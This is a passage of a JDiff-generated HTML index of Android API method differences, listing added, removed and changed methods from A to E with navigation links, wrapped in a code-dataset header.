code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
3
942
language
stringclasses
30 values
license
stringclasses
15 values
size
int32
3
1.05M
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "//www.w3.org/TR/html4/strict.dtd"> <HTML style="overflow:auto;"> <HEAD> <meta name="generator" content="JDiff v1.1.0"> <!-- Generated by the JDiff Javadoc doclet --> <!-- (http://www.jdiff.org) --> <meta name="description" content="JDiff is a Javadoc doclet which generates an HTML report of all the packages, classes, constructors, methods, and fields which have been removed, added or changed in any way, including their documentation, when two APIs are compared."> <meta name="keywords" content="diff, jdiff, javadiff, java diff, java difference, API difference, difference between two APIs, API diff, Javadoc, doclet"> <TITLE> Method Differences Index </TITLE> <link href="../../../../assets/android-developer-docs.css" rel="stylesheet" type="text/css" /> <link href="../stylesheet-jdiff.css" rel="stylesheet" type="text/css" /> <noscript> <style type="text/css"> body{overflow:auto;} #body-content{position:relative; top:0;} #doc-content{overflow:visible;border-left:3px solid #666;} #side-nav{padding:0;} #side-nav .toggle-list ul {display:block;} #resize-packages-nav{border-bottom:3px solid #666;} </style> </noscript> <style type="text/css"> </style> </HEAD> <BODY class="gc-documentation" style="padding:12px;"> <a NAME="topheader"></a> <table summary="Index for Methods" width="100%" class="jdiffIndex" border="0" cellspacing="0" cellpadding="0" style="padding-bottom:0;margin-bottom:0;"> <tr> <th class="indexHeader"> Filter the Index: </th> </tr> <tr> <td class="indexText" style="line-height:1.3em;padding-left:2em;"> <b>Methods</b> <br> <A HREF="methods_index_removals.html" xclass="hiddenlink">Removals</A> <br> <A HREF="methods_index_additions.html"xclass="hiddenlink">Additions</A> <br> <A HREF="methods_index_changes.html"xclass="hiddenlink">Changes</A> </td> </tr> </table> <div id="indexTableCaption" style="background-color:#eee;padding:0 4px 0 4px;font-size:11px;margin-bottom:1em;"> Listed as: <span style="color:#069"><strong>Added</strong></span>, <span style="color:#069"><strike>Removed</strike></span>, <span style="color:#069">Changed</span></font> </div> <A NAME="A"></A> <br><font size="+2">A</font>&nbsp; <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.webkit.CookieManager.html#android.webkit.CookieManager.acceptThirdPartyCookies_added(android.webkit.WebView)" class="hiddenlink" target="rightframe"><b>acceptThirdPartyCookies</b> (<code>WebView</code>)</A></nobr><br> <nobr><A HREF="android.net.VpnService.Builder.html#android.net.VpnService.Builder.addAllowedApplication_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>addAllowedApplication</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.app.ActivityManager.html#android.app.ActivityManager.addAppTask_added(android.app.Activity, android.content.Intent, android.app.ActivityManager.TaskDescription, android.graphics.Bitmap)" class="hiddenlink" target="rightframe"><b>addAppTask</b> (<code>Activity, Intent, TaskDescription, Bitmap</code>)</A></nobr><br> <nobr><A HREF="android.graphics.Path.html#android.graphics.Path.addArc_added(float, float, float, float, float, float)" class="hiddenlink" target="rightframe"><b>addArc</b> (<code>float, float, float, float, float, float</code>)</A></nobr><br> <nobr><A HREF="android.hardware.camera2.CameraManager.html#android.hardware.camera2.CameraManager.addAvailabilityListener_removed(android.hardware.camera2.CameraManager.AvailabilityListener, android.os.Handler)" class="hiddenlink" target="rightframe"><strike>addAvailabilityListener</strike> (<code>AvailabilityListener, Handler</code>)</A></nobr><br> <i>addCallback</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.addCallback_removed(android.media.session.MediaController.Callback)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>Callback</code>)</strike>&nbsp;in&nbsp;android.media.session.MediaController </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.addCallback_removed(android.media.session.MediaController.Callback, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>Callback, Handler</code>)</strike>&nbsp;in&nbsp;android.media.session.MediaController </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.addCallback_removed(android.media.session.MediaSession.Callback)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>Callback</code>)</strike>&nbsp;in&nbsp;android.media.session.MediaSession </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.addCallback_removed(android.media.session.MediaSession.Callback, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>Callback, Handler</code>)</strike>&nbsp;in&nbsp;android.media.session.MediaSession </A></nobr><br> <nobr><A HREF="android.view.inputmethod.CursorAnchorInfo.Builder.html#android.view.inputmethod.CursorAnchorInfo.Builder.addCharacterBounds_added(int, float, float, float, float, int)" class="hiddenlink" target="rightframe"><b>addCharacterBounds</b> (<code>int, float, float, float, float, int</code>)</A></nobr><br> <nobr><A HREF="android.view.inputmethod.CursorAnchorInfo.Builder.html#android.view.inputmethod.CursorAnchorInfo.Builder.addCharacterRect_removed(int, float, float, float, float)" class="hiddenlink" target="rightframe"><strike>addCharacterRect</strike> (<code>int, float, float, float, float</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.addCrossProfileIntentFilter_added(android.content.ComponentName, android.content.IntentFilter, int)" class="hiddenlink" target="rightframe"><b>addCrossProfileIntentFilter</b> (<code>ComponentName, IntentFilter, int</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.addCrossProfileWidgetProvider_added(android.content.ComponentName, java.lang.String)" class="hiddenlink" target="rightframe"><b>addCrossProfileWidgetProvider</b> (<code>ComponentName, String</code>)</A></nobr><br> <nobr><A HREF="android.net.ConnectivityManager.html#android.net.ConnectivityManager.addDefaultNetworkActiveListener_added(android.net.ConnectivityManager.OnNetworkActiveListener)" class="hiddenlink" target="rightframe"><b>addDefaultNetworkActiveListener</b> (<code>OnNetworkActiveListener</code>)</A></nobr><br> <nobr><A HREF="android.net.VpnService.Builder.html#android.net.VpnService.Builder.addDisallowedApplication_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>addDisallowedApplication</b> (<code>String</code>)</A></nobr><br> <i>addEarcon</i><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.addEarcon_removed(java.lang.String, java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>String, String</code>)</strike>&nbsp;in&nbsp;android.speech.tts.TextToSpeech </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.addEarcon_added(java.lang.String, java.io.File)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>String, File</code>)</b>&nbsp;in&nbsp;android.speech.tts.TextToSpeech </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.addEarcon_added(java.lang.String, java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>String, String</code>)</b>&nbsp;in&nbsp;android.speech.tts.TextToSpeech </A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.addForwardingIntentFilter_removed(android.content.ComponentName, android.content.IntentFilter, int)" class="hiddenlink" target="rightframe"><strike>addForwardingIntentFilter</strike> (<code>ComponentName, IntentFilter, int</code>)</A></nobr><br> <i>addOnActiveSessionsChangedListener</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaSessionManager.html#android.media.session.MediaSessionManager.addOnActiveSessionsChangedListener_added(android.media.session.MediaSessionManager.OnActiveSessionsChangedListener, android.content.ComponentName)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>OnActiveSessionsChangedListener, ComponentName</code>)</b>&nbsp;in&nbsp;android.media.session.MediaSessionManager </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaSessionManager.html#android.media.session.MediaSessionManager.addOnActiveSessionsChangedListener_added(android.media.session.MediaSessionManager.OnActiveSessionsChangedListener, android.content.ComponentName, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>OnActiveSessionsChangedListener, ComponentName, Handler</code>)</b>&nbsp;in&nbsp;android.media.session.MediaSessionManager </A></nobr><br> <nobr><A HREF="android.content.pm.LauncherApps.html#android.content.pm.LauncherApps.addOnAppsChangedListener_removed(android.content.pm.LauncherApps.OnAppsChangedListener)" class="hiddenlink" target="rightframe"><strike>addOnAppsChangedListener</strike> (<code>OnAppsChangedListener</code>)</A></nobr><br> <i>addRoundRect</i><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.Path.html#android.graphics.Path.addRoundRect_added(float, float, float, float, float, float, android.graphics.Path.Direction)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>float, float, float, float, float, float, Direction</code>)</b>&nbsp;in&nbsp;android.graphics.Path </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.Path.html#android.graphics.Path.addRoundRect_added(float, float, float, float, float[], android.graphics.Path.Direction)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>float, float, float, float, float[], Direction</code>)</b>&nbsp;in&nbsp;android.graphics.Path </A></nobr><br> <nobr><A HREF="android.app.FragmentTransaction.html#android.app.FragmentTransaction.addSharedElement_added(android.view.View, java.lang.String)" class="hiddenlink" target="rightframe"><b>addSharedElement</b> (<code>View, String</code>)</A></nobr><br> <i>addSpeech</i><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.addSpeech_added(java.lang.CharSequence, java.io.File)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>CharSequence, File</code>)</b>&nbsp;in&nbsp;android.speech.tts.TextToSpeech </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.addSpeech_added(java.lang.CharSequence, java.lang.String, int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>CharSequence, String, int</code>)</b>&nbsp;in&nbsp;android.speech.tts.TextToSpeech </A></nobr><br> <nobr><A HREF="android.graphics.drawable.AnimatedStateListDrawable.html#android.graphics.drawable.AnimatedStateListDrawable.addTransition_changed(int, int, T, boolean)" class="hiddenlink" target="rightframe">addTransition (<code>int, int, T, boolean</code>)</A></nobr><br> <i>addTransportControlsCallback</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.addTransportControlsCallback_removed(android.media.session.MediaSession.TransportControlsCallback)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>TransportControlsCallback</code>)</strike>&nbsp;in&nbsp;android.media.session.MediaSession </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.addTransportControlsCallback_removed(android.media.session.MediaSession.TransportControlsCallback, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>TransportControlsCallback, Handler</code>)</strike>&nbsp;in&nbsp;android.media.session.MediaSession </A></nobr><br> <nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.adjustVolume_added(int, int)" class="hiddenlink" target="rightframe"><b>adjustVolume</b> (<code>int, int</code>)</A></nobr><br> <nobr><A HREF="android.net.VpnService.Builder.html#android.net.VpnService.Builder.allowBypass_added()" class="hiddenlink" target="rightframe"><b>allowBypass</b> ()</A></nobr><br> <nobr><A HREF="android.net.VpnService.Builder.html#android.net.VpnService.Builder.allowFamily_added(int)" class="hiddenlink" target="rightframe"><b>allowFamily</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.text.SpannableStringBuilder.html#android.text.SpannableStringBuilder.append_added(java.lang.CharSequence, java.lang.Object, int)" class="hiddenlink" target="rightframe"><b>append</b> (<code>CharSequence, Object, int</code>)</A></nobr><br> <nobr><A HREF="android.graphics.Path.html#android.graphics.Path.arcTo_added(float, float, float, float, float, float, boolean)" class="hiddenlink" target="rightframe"><b>arcTo</b> (<code>float, float, float, float, float, float, boolean</code>)</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.areDefaultsEnforced_changed()" class="hiddenlink" target="rightframe">areDefaultsEnforced ()</A></nobr><br> <A NAME="B"></A> <br><font size="+2">B</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.appwidget.AppWidgetManager.html#android.appwidget.AppWidgetManager.bindAppWidgetIdIfAllowed_added(int, android.os.UserHandle, android.content.ComponentName, android.os.Bundle)" class="hiddenlink" target="rightframe"><b>bindAppWidgetIdIfAllowed</b> (<code>int, UserHandle, ComponentName, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.net.Network.html#android.net.Network.bindSocket_added(java.net.Socket)" class="hiddenlink" target="rightframe"><b>bindSocket</b> (<code>Socket</code>)</A></nobr><br> <i>buildChannelsUriForInput</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.tv.TvContract.html#android.media.tv.TvContract.buildChannelsUriForInput_removed(android.content.ComponentName)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>ComponentName</code>)</strike>&nbsp;in&nbsp;android.media.tv.TvContract </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.tv.TvContract.html#android.media.tv.TvContract.buildChannelsUriForInput_removed(android.content.ComponentName, boolean)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>ComponentName, boolean</code>)</strike>&nbsp;in&nbsp;android.media.tv.TvContract </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.tv.TvContract.html#android.media.tv.TvContract.buildChannelsUriForInput_added(java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>String</code>)</b>&nbsp;in&nbsp;android.media.tv.TvContract </A></nobr><br> <nobr><A HREF="android.media.tv.TvContract.html#android.media.tv.TvContract.buildChannelUriForPassthroughInput_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>buildChannelUriForPassthroughInput</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvContract.html#android.media.tv.TvContract.buildInputId_added(android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>buildInputId</b> (<code>ComponentName</code>)</A></nobr><br> <i>buildProgramsUriForChannel</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.tv.TvContract.html#android.media.tv.TvContract.buildProgramsUriForChannel_added(long)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>long</code>)</b>&nbsp;in&nbsp;android.media.tv.TvContract </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.tv.TvContract.html#android.media.tv.TvContract.buildProgramsUriForChannel_added(long, long, long)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>long, long, long</code>)</b>&nbsp;in&nbsp;android.media.tv.TvContract </A></nobr><br> <nobr><A HREF="android.app.Notification.MediaStyle.html#android.app.Notification.MediaStyle.buildStyled_removed(android.app.Notification)" class="hiddenlink" target="rightframe"><strike>buildStyled</strike> (<code>Notification</code>)</A></nobr><br> <A NAME="C"></A> <br><font size="+2">C</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.net.wifi.WifiManager.html#android.net.wifi.WifiManager.cancelWps_added(android.net.wifi.WifiManager.WpsCallback)" class="hiddenlink" target="rightframe"><b>cancelWps</b> (<code>WpsCallback</code>)</A></nobr><br> <nobr><A HREF="android.media.audiofx.Virtualizer.html#android.media.audiofx.Virtualizer.canVirtualize_added(int, int)" class="hiddenlink" target="rightframe"><b>canVirtualize</b> (<code>int, int</code>)</A></nobr><br> <i>capture</i><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.CameraCaptureSession.html#android.hardware.camera2.CameraCaptureSession.capture_changed(android.hardware.camera2.CaptureRequest, android.hardware.camera2.CameraCaptureSession.CaptureCallback, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp; (<code>CaptureRequest, CaptureCallback, Handler</code>)&nbsp;in&nbsp;android.hardware.camera2.CameraCaptureSession </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.CameraDevice.html#android.hardware.camera2.CameraDevice.capture_removed(android.hardware.camera2.CaptureRequest, android.hardware.camera2.CameraDevice.CaptureListener, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>CaptureRequest, CaptureListener, Handler</code>)</strike>&nbsp;in&nbsp;android.hardware.camera2.CameraDevice </A></nobr><br> <i>captureBurst</i><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.CameraCaptureSession.html#android.hardware.camera2.CameraCaptureSession.captureBurst_changed(java.util.List<android.hardware.camera2.CaptureRequest>, android.hardware.camera2.CameraCaptureSession.CaptureCallback, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp; (<code>List&lt;CaptureRequest&gt;, CaptureCallback, Handler</code>)&nbsp;in&nbsp;android.hardware.camera2.CameraCaptureSession </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.hardware.camera2.CameraDevice.html#android.hardware.camera2.CameraDevice.captureBurst_removed(java.util.List<android.hardware.camera2.CaptureRequest>, android.hardware.camera2.CameraDevice.CaptureListener, android.os.Handler)" class="hiddenlink" target="rightframe">type&nbsp;<strike> (<code>List&lt;CaptureRequest&gt;, CaptureListener, Handler</code>)</strike>&nbsp;in&nbsp;android.hardware.camera2.CameraDevice </A></nobr><br> <nobr><A HREF="android.util.Range.html#android.util.Range.clamp_added(T)" class="hiddenlink" target="rightframe"><b>clamp</b> (<code>T</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.clearCrossProfileIntentFilters_added(android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>clearCrossProfileIntentFilters</b> (<code>ComponentName</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.clearDeviceOwnerApp_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>clearDeviceOwnerApp</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.clearForwardingIntentFilters_removed(android.content.ComponentName)" class="hiddenlink" target="rightframe"><strike>clearForwardingIntentFilters</strike> (<code>ComponentName</code>)</A></nobr><br> <i>clipRegion</i><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.Canvas.html#android.graphics.Canvas.clipRegion_changed(android.graphics.Region)" class="hiddenlink" target="rightframe">type&nbsp; (<code>Region</code>)&nbsp;in&nbsp;android.graphics.Canvas </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.Canvas.html#android.graphics.Canvas.clipRegion_changed(android.graphics.Region, android.graphics.Region.Op)" class="hiddenlink" target="rightframe">type&nbsp; (<code>Region, Op</code>)&nbsp;in&nbsp;android.graphics.Canvas </A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.computeSystemWindowInsets_added(android.view.WindowInsets, android.graphics.Rect)" class="hiddenlink" target="rightframe"><b>computeSystemWindowInsets</b> (<code>WindowInsets, Rect</code>)</A></nobr><br> <nobr><A HREF="android.hardware.camera2.CameraDevice.html#android.hardware.camera2.CameraDevice.configureOutputs_removed(java.util.List<android.view.Surface>)" class="hiddenlink" target="rightframe"><strike>configureOutputs</strike> (<code>List&lt;Surface&gt;</code>)</A></nobr><br> <nobr><A HREF="android.view.WindowInsets.html#android.view.WindowInsets.consumeStableInsets_added()" class="hiddenlink" target="rightframe"><b>consumeStableInsets</b> ()</A></nobr><br> <i>contains</i><br> &nbsp;&nbsp;<nobr><A HREF="android.util.Range.html#android.util.Range.contains_added(T)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>T</code>)</b>&nbsp;in&nbsp;android.util.Range </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.util.Range.html#android.util.Range.contains_added(android.util.Range<T>)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Range&lt;T&gt;</code>)</b>&nbsp;in&nbsp;android.util.Range </A></nobr><br> <i>create</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.MediaPlayer.html#android.media.MediaPlayer.create_added(android.content.Context, android.net.Uri, android.view.SurfaceHolder, android.media.AudioAttributes, int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Context, Uri, SurfaceHolder, AudioAttributes, int</code>)</b>&nbsp;in&nbsp;android.media.MediaPlayer </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.MediaPlayer.html#android.media.MediaPlayer.create_added(android.content.Context, int, android.media.AudioAttributes, int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Context, int, AudioAttributes, int</code>)</b>&nbsp;in&nbsp;android.media.MediaPlayer </A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionService.html#android.service.voice.VoiceInteractionService.createAlwaysOnHotwordDetector_added(java.lang.String, java.util.Locale, android.service.voice.AlwaysOnHotwordDetector.Callback)" class="hiddenlink" target="rightframe"><b>createAlwaysOnHotwordDetector</b> (<code>String, Locale, Callback</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.createAndInitializeUser_added(android.content.ComponentName, java.lang.String, java.lang.String, android.content.ComponentName, android.os.Bundle)" class="hiddenlink" target="rightframe"><b>createAndInitializeUser</b> (<code>ComponentName, String, String, ComponentName, Bundle</code>)</A></nobr><br> <nobr><A HREF="android.hardware.camera2.CameraDevice.html#android.hardware.camera2.CameraDevice.createCaptureSession_changed(java.util.List<android.view.Surface>, android.hardware.camera2.CameraCaptureSession.StateCallback, android.os.Handler)" class="hiddenlink" target="rightframe">createCaptureSession (<code>List&lt;Surface&gt;, StateCallback, Handler</code>)</A></nobr><br> <nobr><A HREF="android.view.ViewAnimationUtils.html#android.view.ViewAnimationUtils.createCircularReveal_changed(android.view.View, int, int, float, float)" class="hiddenlink" target="rightframe">createCircularReveal (<code>View, int, int, float, float</code>)</A></nobr><br> <nobr><A HREF="android.app.KeyguardManager.html#android.app.KeyguardManager.createConfirmDeviceCredentialIntent_added(java.lang.CharSequence, java.lang.CharSequence)" class="hiddenlink" target="rightframe"><b>createConfirmDeviceCredentialIntent</b> (<code>CharSequence, CharSequence</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaCodecInfo.CodecCapabilities.html#android.media.MediaCodecInfo.CodecCapabilities.createFromProfileLevel_added(java.lang.String, int, int)" class="hiddenlink" target="rightframe"><b>createFromProfileLevel</b> (<code>String, int, int</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaSessionManager.html#android.media.session.MediaSessionManager.createSession_removed(java.lang.String)" class="hiddenlink" target="rightframe"><strike>createSession</strike> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputInfo.html#android.media.tv.TvInputInfo.createSettingsIntent_added()" class="hiddenlink" target="rightframe"><b>createSettingsIntent</b> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputInfo.html#android.media.tv.TvInputInfo.createSetupIntent_added()" class="hiddenlink" target="rightframe"><b>createSetupIntent</b> ()</A></nobr><br> <nobr><A HREF="android.hardware.display.DisplayManager.html#android.hardware.display.DisplayManager.createVirtualDisplay_added(java.lang.String, int, int, int, android.view.Surface, int, android.hardware.display.VirtualDisplay.Callback, android.os.Handler)" class="hiddenlink" target="rightframe"><b>createVirtualDisplay</b> (<code>String, int, int, int, Surface, int, Callback, Handler</code>)</A></nobr><br> <A NAME="D"></A> <br><font size="+2">D</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.view.View.html#android.view.View.dispatchNestedPreFling_added(float, float)" class="hiddenlink" target="rightframe"><b>dispatchNestedPreFling</b> (<code>float, float</code>)</A></nobr><br> <nobr><A HREF="android.telephony.SmsManager.html#android.telephony.SmsManager.downloadMultimediaMessage_added(android.content.Context, java.lang.String, android.net.Uri, android.os.Bundle, android.app.PendingIntent)" class="hiddenlink" target="rightframe"><b>downloadMultimediaMessage</b> (<code>Context, String, Uri, Bundle, PendingIntent</code>)</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.drawableHotspotChanged_added(float, float)" class="hiddenlink" target="rightframe"><b>drawableHotspotChanged</b> (<code>float, float</code>)</A></nobr><br> <nobr><A HREF="android.graphics.Canvas.html#android.graphics.Canvas.drawArc_added(float, float, float, float, float, float, boolean, android.graphics.Paint)" class="hiddenlink" target="rightframe"><b>drawArc</b> (<code>float, float, float, float, float, float, boolean, Paint</code>)</A></nobr><br> <nobr><A HREF="android.graphics.Canvas.html#android.graphics.Canvas.drawOval_added(float, float, float, float, android.graphics.Paint)" class="hiddenlink" target="rightframe"><b>drawOval</b> (<code>float, float, float, float, Paint</code>)</A></nobr><br> <A NAME="E"></A> <br><font size="+2">E</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#H"><font size="-2">H</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.inputmethodservice.InputMethodService.html#android.inputmethodservice.InputMethodService.enableHardwareAcceleration_changed()" class="hiddenlink" target="rightframe">enableHardwareAcceleration ()</A></nobr><br> <nobr><A HREF="android.webkit.WebView.html#android.webkit.WebView.enableSlowWholeDocumentDraw_added()" class="hiddenlink" target="rightframe"><b>enableSlowWholeDocumentDraw</b> ()</A></nobr><br> <nobr><A HREF="android.speech.tts.SynthesisCallback.html#android.speech.tts.SynthesisCallback.error_added(int)" class="hiddenlink" 